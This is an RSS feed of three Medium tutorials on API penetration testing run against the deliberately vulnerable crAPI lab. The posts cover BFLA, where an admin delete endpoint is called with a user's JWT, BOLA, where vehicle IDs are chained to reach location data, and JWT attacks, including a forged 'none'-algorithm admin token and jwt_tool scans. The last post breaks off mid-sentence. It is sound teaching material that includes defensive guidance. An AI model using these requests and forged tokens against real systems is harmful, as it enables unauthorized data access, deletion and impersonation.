<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bilal k. Mohammed on Medium]]></title>
        <description><![CDATA[Stories by Bilal k. Mohammed on Medium]]></description>
        <link>https://medium.com/@bilal423?source=rss-ccc6618876ec------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*NhR4DKF2xfOkjF_n</url>
            <title>Stories by Bilal k. Mohammed on Medium</title>
            <link>https://medium.com/@bilal423?source=rss-ccc6618876ec------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 02:38:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bilal423/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[API-P-7: I Deleted Another User’s Video Using a JWT I Wasn’t Supposed to Have]]></title>
            <link>https://bilal423.medium.com/api-p-7-i-deleted-another-users-video-using-a-jwt-i-wasn-t-supposed-to-have-eb40057f17fa?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb40057f17fa</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api-testing]]></category>
            <category><![CDATA[bfla]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 10:41:25 GMT</pubDate>
            <atom:updated>2026-11-10T10:41:25.139Z</atom:updated>
            <content:encoded><![CDATA[<p>You put authorization checks on the front door. But what about the back door labeled “admin”? That’s the story of Broken Function Level Authorization — BFLA. And the crAPI lab I ran last week made it embarrassingly clear how often that back door is left wide open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9oAWtk0wFQB7geVU4P9WA.png" /></figure><h3>What Is BFLA?</h3><p>If BOLA (Broken Object Level Authorization) is about <em>accessing</em> resources that don’t belong to you, BFLA is about <em>acting on</em> them.</p><p>Same idea. Different axis.</p><blockquote><em>BOLA = reading someone else’s data. BFLA = deleting, modifying, or creating someone else’s data or performing admin actions as a regular user.</em></blockquote><p>Think of it on a social media platform. You can delete your own profile picture. Should you be able to delete anyone else’s? Obviously not. But if the API doesn’t enforce that check on the <em>action</em>, not just the <em>resource</em>, you can.</p><p>BFLA breaks down into two categories:</p><ul><li><strong>Lateral: </strong>performing actions of <em>other users</em> at the same privilege level</li><li><strong>Escalated: </strong>performing actions <em>above</em> your privilege level (admin functions as a regular user)</li></ul><h4>How It Works</h4><p>Traditional access control logic often asks: <em>“Does this user own this resource?”</em></p><p>BFLA exploits the gap between that check and the question that <em>should</em> be asked: <em>“Is this user authorized to perform </em><strong><em>this action</em></strong><em> on this resource?”</em></p><p>Developers protect the GET endpoint. They forget the DELETE. They build the user API. They expose the admin API without any role check.</p><p>The attack surface is any HTTP method that changes state:</p><pre>POST   /api/shop/orders/return_order?order_id=5893280<br>PUT    /identity/api/v2/user/videos/757<br>DELETE /identity/api/v2/user/videos/758</pre><p>These are the requests that matter. CRUD without the R.</p><h3>The Real Attack: A-B-A Testing on crAPI</h3><blockquote><em>This is a lab environment. All tests performed on intentionally vulnerable targets only.</em></blockquote><p><strong>Setup:</strong></p><ul><li>UserA = victim account, owns video ID 757</li><li>UserB = attacker account, JWT in hand</li></ul><h4>Step 1 — Baseline (A)</h4><p>UserA makes a legitimate PUT to rename their video:</p><pre>PUT /identity/api/v2/user/videos/757 HTTP/1.1<br>Authorization: Bearer &lt;UserA_JWT&gt;<br>Content-Type: application/json<br><br>{ &quot;videoName&quot;: &quot;name1.mp4&quot; }</pre><p>Response: 200 OK video 757 updated. Expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rEevguewyAL7TbARnar-lw.png" /></figure><h4>Step 2 — Cross-User PUT (B)</h4><p>Now UserB swaps in their JWT and targets UserA’s video 757:</p><pre>PUT /identity/api/v2/user/videos/757 HTTP/1.1<br>Authorization: Bearer &lt;UserB_JWT&gt;<br><br>{ &quot;videoName&quot;: &quot;hacked.mp4&quot; }</pre><p>Response: 200 OKbut the response body shows <strong>video 758</strong> (UserB&#39;s own video) was renamed. Strange. The server silently re-routed the request back to the requester&#39;s resource rather than enforcing an error. Not a clean BFLA, but weird behavior worth digging into.</p><blockquote><em>Strange API behavior = dig deeper. Always.</em></blockquote><h4>Step 3 — HTTP Method Switching</h4><p>What if the same endpoint accepts DELETE?</p><pre>DELETE /identity/api/v2/user/videos/758 HTTP/1.1<br>Authorization: Bearer &lt;UserB_JWT&gt;</pre><p>Response:</p><pre>{<br>  &quot;message&quot;: &quot;This is an admin function. Try to access the admin API&quot;,<br>  &quot;status&quot;: 403<br>}</pre><p>The API just told us there’s an admin API. Accidentally. That’s the hint.</p><h4>Step 4 — Admin Path Discovery</h4><p>The original path was /identity/api/v2/user/videos/758.</p><p>One word swap: user → admin.</p><pre>DELETE /identity/api/v2/admin/videos/758 HTTP/1.1<br>Authorization: Bearer &lt;UserB_JWT&gt;</pre><p>Response:</p><pre>{<br>  &quot;message&quot;: &quot;User video deleted successfully.&quot;,<br>  &quot;status&quot;: 200<br>}</pre><p>That’s it. A regular user just invoked an admin-only delete endpoint using their own JWT with zero privilege escalation needed from the client side. The API simply had no role check on that path.</p><h4>Step 5 — Confirm (A)</h4><p>Return to UserA’s account and verify video 757 is gone. It is.</p><p>A-B-A complete. BFLA confirmed.</p><h3>Why “Just Restrict the UI” Is Not a Defense</h3><p>The most common misconception: <em>“Users can’t reach that endpoint from our app.”</em></p><p>They don’t need to. Any API client, any proxy tool, any curl command can hit it directly. If the endpoint exists and the server accepts the request, the UI restriction means nothing.</p><blockquote><em>Security enforced only at the presentation layer is not security.</em></blockquote><p>The check has to live at the API layer, every time, for every method, on every path.</p><h3>What to Look for When Testing</h3><p><strong>For offense (bug bounty / pen testing):</strong></p><ol><li>Map all functional endpoints POST, PUT, DELETE, PATCH</li><li>Identify resource IDs in those requests</li><li>Run A-B-A: UserA owns resource → UserB attacks → verify with UserA</li><li>Try all HTTP methods on every endpoint, not just the documented ones</li><li>Watch for error messages that leak information (“Try the admin API”)</li><li>Enumerate path segments swap user for admin, v1 for v2, me for a user ID</li></ol><p><strong>For defense (developers / architects):</strong></p><ol><li>Enforce role-based access control at the middleware level, not the route handler</li><li>Validate both: <em>who owns this resource</em> AND <em>what this user is allowed to do</em></li><li>Never return hints about undocumented endpoints in error messages</li><li>Run authorization tests as part of your CI/CD pipeline</li><li>Audit all HTTP methods exposed on each endpoint, not just the ones in your Swagger doc</li></ol><h3>Conclusion</h3><p>BFLA is dangerous precisely because it’s simple. No complex payload, no memory corruption, no cryptography to break. You swap a token, change a path segment, switch an HTTP method and you’re inside admin territory.</p><p>The impact scales fast: delete any user’s content, return any order, perform admin operations across your entire user base. All with a valid JWT and a one-line change.</p><p>Authorization isn’t a checkbox. It’s a decision that has to be made for every action, on every resource, for every role, every time.</p><h3>Further Reading</h3><ul><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/">OWASP API Security Top 10 — API5:2023 Broken Function Level Authorization</a></li><li><a href="https://portswigger.net/web-security/access-control">PortSwigger Web Security Academy — Access Control</a></li><li><a href="https://university.apisec.ai/products/api-penetration-testing">APIsec University — API Penetration Testing</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/api-pentesting#bfla">HackTricks — BFLA</a></li></ul><h3>Further Improvement</h3><p>This workflow is based on hands-on practice and ongoing learning — there may be mistakes, missing steps, or better approaches. If you spot anything off, let me know in the comments or by DM. Feedback is genuinely appreciated.</p><h3>Discussion</h3><p>When you’re reviewing an API for authorization issues, do you explicitly test every HTTP method on every endpoint or do you rely on what the documentation says is supported?</p><p>Share your experiences in the comments I’d love to learn from different approaches to API security testing.</p><p>Found this useful? Drop a clap 👏, share it with your team, and follow for more API security deep-dives.</p><p><strong>Tags:</strong> API Security Penetration Testing OWASP AppSec Ethical Hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb40057f17fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API-P-6: I Broke Into Someone Else’s Account Using Just Their ID — Here’s the API Flaw Behind It]]></title>
            <link>https://bilal423.medium.com/api-p-6-i-broke-into-someone-elses-account-using-just-their-id-here-s-the-api-flaw-behind-it-d9aa6ec51ab6?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9aa6ec51ab6</guid>
            <category><![CDATA[api-testing]]></category>
            <category><![CDATA[bola]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 11:01:32 GMT</pubDate>
            <atom:updated>2026-11-09T11:01:32.310Z</atom:updated>
            <content:encoded><![CDATA[<p>There’s a vulnerability that sits quietly in thousands of APIs right now. It doesn’t require sophisticated tooling. It doesn’t need a zero-day. Sometimes all it takes is changing a number in a URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D7BZPeloEUMC8tIrmgDMGg.png" /></figure><p>That’s Broken Object Level Authorization BOLA and it consistently tops the OWASP API Security list for a reason.</p><p>Let me walk you through what it actually looks like in the wild.</p><h4>What Even Is BOLA?</h4><p>When you use an API, resources get referenced by IDs — a user ID, an order number, a vehicle identifier. The assumption most apps make is that if you’re logged in, you’re only going to request things that belong to you.</p><p>BOLA is what happens when that assumption isn’t enforced.</p><p>No check. No guard. The API just… hands over whatever you asked for.</p><h4>The Three Things You Need to Exploit It</h4><p>You can’t just randomly poke at an API and expect to find BOLA. There’s a pattern to it, and it comes down to three things being true at the same time:</p><p><strong>1. A Resource ID exists:</strong><br>Something that uniquely identifies a resource — a number, a UUID, a name. Could be obvious (user_id=15) or more disguised (a 32-character alphanumeric token).</p><p><strong>2. A request that fetches that resource:</strong><br>An endpoint that accepts that ID and returns data tied to it.</p><p>Things like:</p><pre>GET /api/resource/1<br>GET /user/account/find?user_id=15<br>POST /company/account/Apple/balance<br>POST /admin/pwreset/account/90</pre><p><strong>3. Missing or broken access control:<br></strong>The backend doesn’t check: <em>“Does the person making this request actually own this resource?”</em></p><p>All three have to line up. The first two you can find through documentation and traffic analysis. The third one you have to test.</p><h4>How the Attack Actually Plays Out</h4><blockquote>“If you can successfully access information you shouldn’t be authorized to access you’ve found an authorization vulnerability.”</blockquote><p>The cleanest way to test this is what I call <strong>A-B testing with two accounts</strong>.</p><p>Here’s the workflow:</p><ol><li>Create <strong>User A: </strong>make real requests, trigger endpoints that reference resource IDs</li><li>Document every request that includes a resource ID and <em>should</em> require authorization</li><li>Create <strong>User B</strong>: get a fresh token</li><li>Take User B’s token, plug it into User A’s requests, and fire them off</li></ol><p>If User B can pull User A’s data , you have a confirmed BOLA.</p><h4>A Real Example: The GPS Location Flaw</h4><p>Here’s where it gets interesting. In a test environment (crAPI — a deliberately vulnerable API for practice), there’s an endpoint like this:</p><pre>GET /identity/api/v2/vehicle/{vehicleID}/location</pre><p>The vehicle ID looks complex. Long. Alphanumeric. The kind of ID a developer might look at and think — <em>nobody’s going to guess this, we’re fine.</em></p><p>That thinking is a trap.</p><p>The ID doesn’t need to be guessed. It gets leaked somewhere else entirely in this case, through a separate <strong>Excessive Data Exposure</strong> vulnerability on the community forum endpoint:</p><pre>GET /community/api/v2/community/posts/recent</pre><p>The forum returns post data, and buried in that response? <strong>Vehicle IDs.</strong> For every user who has ever posted.</p><p>So the attack chain becomes:</p><pre>Step 1 → Hit the forum endpoint (public, no auth needed)<br>Step 2 → Extract vehicle IDs from the response<br>Step 3 → Use those IDs to hit the location endpoint with YOUR token<br>Step 4 → GPS coordinates, vehicle location, and full name - all returned</pre><blockquote>No brute force. No guessing. Just chaining two API weaknesses together.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jd-4wnibrwiV9wMdOGOsJg.png" /></figure><h4>Why Complexity Isn’t Security</h4><p>Developers sometimes treat long, complex IDs as a security measure. The logic being: <em>if no one can guess it, no one can access it.</em></p><p>But security through obscurity doesn’t hold when the IDs are exposed through other parts of the system. The complexity of a 32-character token only delays a brute-force attack. It does nothing against:</p><ul><li>Excessive data exposure (the case above)</li><li>API documentation that lists example IDs</li><li>Another user sharing a resource link</li><li>Logs or error messages leaking IDs</li></ul><p>Authorization has to be enforced at the backend, on every request, every time. The check should be: <em>does this token’s user own this resource?</em> Not: <em>is this ID hard to guess?</em></p><h4>What to Look For During Testing</h4><p>When reviewing API traffic, flag any requests that contain:</p><ul><li>Numeric sequences in paths (/resource/1, /account/90)</li><li>Query parameters with IDs (?user_id=15, ?order=482)</li><li>Named identifiers (/company/Apple/balance)</li><li>Complex tokens that map to user-specific data</li></ul><p>Then ask: <br>1. what happens when you swap that ID for another one while keeping your token? <br>2. What happens when you use a completely different user’s token with the original ID?</p><p>The answers tell you a lot.</p><h4>Conclusion</h4><p>BOLA sits at the top of the API security list because it’s everywhere and it’s easy to miss. Developers focus on authentication, making sure users are who they say they are and sometimes forget the second half: making sure users can only access what belongs to them.</p><p>The fix isn’t complicated. Object-level authorization checks on every endpoint. Validate that the authenticated user has the right to access the specific resource being requested not just that they’re logged in.</p><p>As a tester, the value is in chaining findings. A data exposure vulnerability that leaks IDs becomes the foundation for a BOLA attack. Individually, each finding is significant. Together, they tell a story that’s hard to argue with.</p><h4>Further Reading</h4><ul><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/">OWASP API Security Top 10 — API1:2023 BOLA</a></li><li><a href="https://university.apisec.ai/products/api-penetration-testing/categories/2150251350">APIsec University — API Penetration Testing</a></li><li><a href="https://portswigger.net/web-security/access-control">PortSwigger Web Security Academy — Access Control</a></li><li><a href="https://github.com/OWASP/crAPI">crAPI — Completely Ridiculous API (Practice Target)</a></li></ul><h4>Further Improvement</h4><p>This workflow is based on hands-on practice and ongoing learning — there may be mistakes, missing steps, or better approaches. If you spot anything off, let me know in the comments or by DM. Feedback is genuinely appreciated.</p><h4>Discussion</h4><p>BOLA is one of those findings that often gets underestimated in severity assessments, especially when the resource IDs are complex. Have you encountered cases where a developer pushed back on a BOLA finding because “the ID is too complex to guess”? How did you make the case for severity?</p><p>Share your experiences in the comments — I’d love to learn from different approaches to API security testing.</p><p>Found this useful? Drop a clap 👏, share it with your team, and follow for more API security deep-dives.</p><p><strong>Tags:</strong> API Security Penetration Testing BOLA Cybersecurity Web Security</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9aa6ec51ab6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API-P-5: Token Attacks: Breaking Weak Authentication, Predictable Tokens, and JWT Misconfigurations…]]></title>
            <link>https://bilal423.medium.com/api-p-5-token-attacks-breaking-weak-authentication-predictable-tokens-and-jwt-misconfigurations-a25b8f9d2542?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/a25b8f9d2542</guid>
            <category><![CDATA[api-token]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[jwt-authentication]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 05:31:01 GMT</pubDate>
            <atom:updated>2026-11-06T05:31:01.615Z</atom:updated>
            <content:encoded><![CDATA[<h3>API-P-5: Token Attacks: Breaking Weak Authentication, Predictable Tokens, and JWT Misconfigurations with Burp Suite</h3><p><strong>A hands-on guide to identifying weak token generation, JWT validation flaws, algorithm confusion, and authentication vulnerabilities using Burp Suite and JWT_Tool.</strong></p><blockquote><strong><em>Disclaimer: </em></strong><em>All demonstrations should be performed exclusively against applications you own or environments where you have explicit authorization to conduct security testing.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ewbQgr-DOj4It_O7LKxnkw.png" /></figure><p><strong>Table of Contents</strong></p><p>1. Understanding API Token Authentication<br>2. Analyzing Token Randomness with Burp Suite Sequencer<br>3. Identifying Predictable Token Generation<br>4. Understanding JSON Web Tokens (JWTs)<br>5. JWT Information Disclosure<br>6. Automating JWT Security Testing with JWT_Tool<br>7. The JWT None Algorithm Attack<br>8. The JWT Algorithm Confusion Attack<br>9. JWT Secret Cracking<br>10. Forging JWTs in an Authorized Lab<br>11. Validating Authentication and Authorization<br>12. Security Recommendations<br>13. Conclusion<br>14. Further Reading<br>15. Future Improvements<br>16. Discussion</p><h3>1. Understanding API Token Authentication</h3><p>API tokens are commonly used to authenticate requests between clients and servers. Modern applications increasingly rely on APIs to connect web apps, mobile apps, microservices, and third-party integrations all of which frequently use tokens to identify users and control access.</p><p><strong>How Token Authentication Works</strong></p><pre>┌─────────────┐    1. POST credentials     ┌──────────────┐<br>│   Client    │ ─────────────────────────► │    Server    │<br>│             │                            │              │<br>│             │ ◄───────────────────────── │              │<br>│             │    2. Returns token        │              │<br>│             │                            │              │<br>│             │  3. Bearer &lt;TOKEN&gt; ──────► │              │<br>│             │                            │   Validates  │<br>│             │ ◄───────────────────────── │    token     │<br>│             │    4. Protected resource   │              │<br>└─────────────┘                            └──────────────┘</pre><p>A typical authentication request looks like this:</p><pre>POST /identity/api/auth/login HTTP/1.1<br>Host: 127.0.0.1:8888<br>Content-Type: application/json<br><br>...<br>...<br>..<br><br>{<br>  &quot;email&quot;: &quot;user@example.com&quot;,<br>  &quot;password&quot;: &quot;Password123&quot;<br>}</pre><p>A successful response might return:</p><pre>{<br>  &quot;token&quot;: &quot;eyJhbGciOiJIUzUxMiJ9...&quot;,<br>  &quot;type&quot;: &quot;Bearer&quot;,<br>  &quot;message&quot;: null<br>}</pre><p>The client then uses this token in subsequent requests:</p><pre>GET /identity/api/v2/user/dashboard HTTP/1.1<br>Host: 127.0.0.1:8888<br>Authorization: Bearer &lt;TOKEN&gt;</pre><blockquote><strong><em>Question:</em></strong><em> How does the server determine whether this token is legitimate?</em></blockquote><p>The answer depends entirely on the token implementation. Some tokens rely on cryptographically secure randomness; others use structured formats like JWTs with cryptographic signatures. When either implementation is weak, the token becomes a direct pathway to unauthorized access.</p><h3>2. Analyzing Token Randomness with Burp Suite Sequencer</h3><p>Burp Suite Sequencer is a powerful tool for analyzing the randomness of tokens generated by an application. The goal is to determine whether tokens contain sufficient entropy or exhibit patterns that make them predictable.</p><p><strong>Step 1: Capture the Authentication Request<br></strong>Configure Burp Suite to intercept traffic from your authorized testing application. Authenticate using a test account and capture the login request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*9xNYx5xFI3JKtiwkGHXHEg.png" /></figure><p><strong>Step 2: Send the Request to Sequencer<br></strong>Right-click the authentication request and select <strong>Send to Sequencer</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Ox8gS9u5iqre3VURPMN_TA.png" /></figure><p>Navigate to the <strong>Sequencer</strong> tab and locate the forwarded request under <strong>Live Capture</strong>.</p><p><strong>Step 3: Configure the Token Location</strong></p><p>The authentication response typically contains several fields:</p><pre>{<br>  &quot;token&quot;: &quot;&lt;TOKEN&gt;&quot;,<br>  &quot;type&quot;: &quot;Bearer&quot;,<br>  &quot;message&quot;: null<br>}</pre><p>Select <strong>Custom Location</strong> and highlight the token value in the response body. This tells Sequencer exactly which part of the response to analyze.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*QsxJxbSRjx7Tkx__NZ6ZPQ.png" /></figure><p><strong>Step 4: Start Live Capture</strong></p><p>Click <strong>Start live capture</strong>. Sequencer will automatically request hundreds (or thousands) of tokens and analyze their statistical properties. For faster preliminary results, use the <strong>Analyze Now</strong> button.</p><p><strong>Step 5: Review the Results</strong></p><p>Burp Suite Sequencer provides several analysis views:</p><pre>Analysis View              What It Tells You<br><br>Summary                    Overall entropy estimate and randomness verdict<br>Character-level analysis   Which positions have fixed vs. variable characters<br>Bit-level analysis         Bit-level entropy distribution<br>Character set analysis     Range of characters used at each position<br>Effective entropy          The actual unpredictability of the token</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*SiEkv9YP-Zj512qACI_s2w.png" /></figure><p><strong><em>Understanding Entropy</em></strong></p><blockquote><strong><em>Token length ≠ Token security.</em></strong></blockquote><p>Entropy measures unpredictability. A token generated from a cryptographically secure random source will have high entropy. However, if several positions remain constant across all generated tokens, the effective randomness may be concentrated in only a small number of characters making the token far weaker than it appears.</p><h3>3. Identifying Predictable Token Generation</h3><p>Consider this intentionally vulnerable token pattern:</p><pre>Ab4dt0k3naa1<br>Ab4dt0k3nab2<br>Ab4dt0k3nac3<br>Ab4dt0k3nad4<br>Ab4dt0k3nae5</pre><p>These tokens share a <strong>fixed prefix</strong> (Ab4dt0k3n). Only the last few characters change and they appear sequential. Despite looking 12 characters long, the actual search space is tiny.</p><h4>What Sequencer Reveals</h4><p>Character-level analysis will show:</p><ul><li><strong>Positions 1–9:</strong> Fixed across all tokens (zero entropy)</li><li><strong>Position 10:</strong> Small character variation (low entropy)</li><li><strong>Position 11:</strong> Sequential or limited variation (low entropy)</li><li><strong>Position 12:</strong> Incrementing counter (predictable)</li></ul><h4>Why Predictable Tokens Are Dangerous</h4><pre><strong>Risk                         Description<br></strong><br>Account impersonation        Guess another user&#39;s token<br>Authentication bypass        Access without valid credentials<br>Sensitive data exposure      Read another user&#39;s resources<br>Session hijacking            Take over an active session</pre><blockquote><strong><em>Important:</em></strong><em> Sequencer identifies statistical patterns it does not automatically prove exploitability. A penetration tester must confirm whether the token can actually be predicted </em>and<em> whether the application accepts the predicted value. Statistical weakness and confirmed authentication bypass are different findings.</em></blockquote><h3>4. Understanding JSON Web Tokens (JWTs)</h3><p>JSON Web Tokens (JWTs) are the most widely used API authentication format. A JWT consists of three Base64URL-encoded segments separated by periods:</p><pre>HEADER    .   PAYLOAD    .   SIGNATURE<br>  ↓              ↓              ↓<br>Algorithm     User Info      Integrity<br> &amp; Type       &amp; Claims       Check</pre><p>Real-World Example</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9<br>.<br>eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhhcGloYWNrZXIiLCJpYXQiOjE1MTYyMzkwMjJ9<br>.<br>U1Agy_OvIULTQwBrYx0dlWVzcBqcI90no2pAcoy4-uo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*IbkrtDvClpwmhm0R7XX9Kw.png" /></figure><p><strong>JWT Header</strong></p><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><pre><strong>Field         Description</strong><br><br>alg           Signing algorithm (HS256, RS256, none, etc.)<br>typ           Token type (always JWT)</pre><p><strong>JWT Payload (Claims)</strong></p><pre>{<br>  &quot;sub&quot;: &quot;1234567890&quot;,<br>  &quot;name&quot;: &quot;hapihacker&quot;,<br>  &quot;iat&quot;: 1516239022<br>}</pre><pre><strong>Claim    Description</strong><br><br>sub      Subject - identifies the user<br>iat      Issued-at timestamp<br>exp      Expiration timestamp<br>nbf      Not-before timestamp<br>iss      Issuer<br>aud      Intended audience</pre><p><strong>JWT Signature</strong></p><p>For HMAC-based JWTs (HS256), the signature is computed as:</p><pre>HMACSHA256(<br>  base64UrlEncode(header) + &quot;.&quot; + base64UrlEncode(payload),<br>  secret<br>)</pre><blockquote><strong><em>Critical point:</em></strong><em> JWT payloads are encoded, not encrypted. Anyone with the token can decode and read the header and payload. Never store passwords, secrets, or sensitive personal data in a JWT payload.</em></blockquote><h3>5. JWT Information Disclosure</h3><p>The first step in JWT testing is simply decoding the token and reading its contents. Tools like <a href="https://www.jwt.io/"><strong>jwt.io</strong></a> and <strong>Burp Suite Decoder</strong> make this trivial.</p><p><strong>What to Look For</strong></p><p>A token might reveal:</p><pre>{<br>  &quot;sub&quot;: &quot;user@example.com&quot;,<br>  &quot;role&quot;: &quot;admin&quot;,<br>  &quot;iat&quot;: 1658506446,<br>  &quot;exp&quot;: 1658592846<br>}</pre><p><em>This discloses:</em></p><ul><li>The user’s <strong>email address</strong></li><li>Their <strong>role</strong> (which could be manipulated)</li><li>Exact <strong>authentication timestamps</strong></li></ul><h4>JWT Information Disclosure Checklist</h4><ul><li>Does the payload contain email addresses or usernames?</li><li>Does it expose roles or permission levels?</li><li>Does it include internal identifiers or metadata?</li><li>Is there an `exp` claim and is it enforced?</li><li>Are there any client-controlled claims the server trusts blindly?</li></ul><blockquote><strong><em>Remember: </em></strong><em>The presence of a claim is not automatically a vulnerability. The vulnerability occurs when the application improperly trusts or exposes information that should be protected.</em></blockquote><h3>6. Automating JWT Security Testing with JWT_Tool</h3><p>Manual JWT analysis is valuable, but <a href="https://github.com/ticarpi/jwt_tool">JWT_Tool</a> can automate testing for common implementation weaknesses.</p><p><strong>Installation</strong></p><pre>git clone https://github.com/ticarpi/jwt_tool<br>cd jwt_tool<br>pip3 install -r requirements.txt</pre><p><strong>Basic Token Analysis</strong></p><pre>python3 jwt_tool.py &lt;JWT&gt;</pre><p>This decodes the header and payload, identifies the algorithm, and checks for obvious weaknesses.</p><p><strong>Key JWT_Tool Options</strong></p><pre><strong>Option         Purpose</strong><br><br>-t &lt;url&gt;       Target URL for active testing<br>-M pb          Playbook scan (tests all common attacks)<br>-rc &lt;cookie&gt;   Add request cookies<br>-rh &lt;header&gt;   Add request headers<br>-C Crack the   JWT signing secret<br>-d &lt;wordlist&gt;  Dictionary for cracking</pre><p><strong>Running a Playbook Scan</strong></p><pre>python3 jwt_tool.py -t https://target.example.com/api/endpoint \<br>  -rh &quot;Authorization: Bearer &lt;JWT&gt;&quot; \<br>  -M pb</pre><p>This tests for `none` algorithm, algorithm confusion, key confusion, and other common JWT vulnerabilities automatically.</p><blockquote><strong><em>Always follow up automated results with manual validation.</em></strong><em> A tool finding is not automatically a confirmed vulnerability.</em></blockquote><h3>7. The JWT None Algorithm Attack</h3><p>One of the most well-known JWT implementation weaknesses is the <strong>`none` algorithm attack</strong>.</p><p>How It <strong>Works</strong></p><pre>Normal JWT:<br>  Header: {&quot;alg&quot;: &quot;HS256&quot;}  →  Signature required ✓<br><br>Attacked JWT:<br>  Header: {&quot;alg&quot;: &quot;none&quot;}   →  No signature required ✗<br>  Signature: (empty)</pre><p>A correctly configured application should <strong>never</strong> accept unsigned tokens for authenticated operations.</p><h4>Attack Flow</h4><p>1. Obtain a valid JWT from the application<br>2. Decode the header<br>3. Change `”alg”: “HS256”` to `”alg”: “none”` (or `”None”`, `”NONE”`)<br>4. Modify the payload (e.g., change username to `admin`)<br>5. Remove the signature (keep the trailing dot)<br>6. Send the modified token to the server</p><p><strong>Malicious payload example:</strong></p><pre>{<br>  &quot;username&quot;: &quot;admin&quot;,<br>  &quot;iat&quot;: 1516239022<br>}</pre><p><strong>Modified token format:</strong></p><pre>eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.</pre><p><em>(Note the trailing dot with no signature)</em></p><p><strong>Why This Vulnerability Exists</strong></p><p>The root cause is improper JWT validation. The vulnerable server:</p><ul><li>Trusts the token’s <strong>declared algorithm </strong>(from the header it shouldn’t trust)</li><li>Fails to enforce signature verification</li><li>Accepts unsigned tokens without question</li><li>Treats decoded claims as inherently trustworthy</li></ul><blockquote><strong><em>The fundamental rule:</em></strong><em> Never trust JWT claims until the token’s signature has been successfully verified against an explicitly configured algorithm and key.</em></blockquote><h3>8. The JWT Algorithm Confusion Attack</h3><p>Algorithm confusion attacks are more sophisticated than the `none` algorithm attack. They exploit how some servers handle the difference between <strong>asymmetric</strong> and <strong>symmetric </strong>signing.</p><p><strong>Symmetric vs. Asymmetric JWT Signing</strong></p><pre>RS256 (Asymmetric):              HS256 (Symmetric):<br>┌─────────────┐                  ┌─────────────────┐<br>│ Private Key │ → Signs JWT      │   Shared Secret │ → Signs JWT<br>│ Public Key  │ → Verifies JWT   │   Shared Secret │ → Verifies JWT<br>└─────────────┘                  └─────────────────┘</pre><h4>The Attack</h4><p>An application expects <strong>RS256</strong> tokens (signed with a private key, verified with a public key).</p><p>An attacker:</p><p>1. Obtains the server’s <strong>public key </strong>(often exposed via JWKS endpoint or certificate)<br>2. Creates a new JWT with “alg”: “HS256” in the header<br>3. <strong>Signs it using the public key as the HMAC secret</strong><br>4. Sends the token to the server</p><p>If the server naively uses the public key to verify HS256 tokens (treating it as the shared secret), it will accept the forged token.</p><h4>Prevention</h4><p>A secure implementation must:</p><ul><li>Explicitly configure <strong>one</strong> accepted algorithm</li><li>Use the <strong>correct key type</strong> for that algorithm</li><li><strong>Reject</strong> algorithm mismatches</li><li><strong>Never</strong> derive verification behavior from an untrusted token header</li><li>Use JWT libraries that enforce strict algorithm checking</li></ul><h3>9. JWT Secret Cracking</h3><p>JWTs signed with <strong>weak HMAC secrets</strong> are vulnerable to offline cracking no server interaction required.</p><p><strong>Why Offline Cracking Is Possible?</strong></p><p>The JWT signature is computed from:</p><ul><li>Encoded header</li><li>Encoded payload</li><li><strong>The signing secret</strong></li></ul><p>An attacker who has the JWT can test candidate secrets 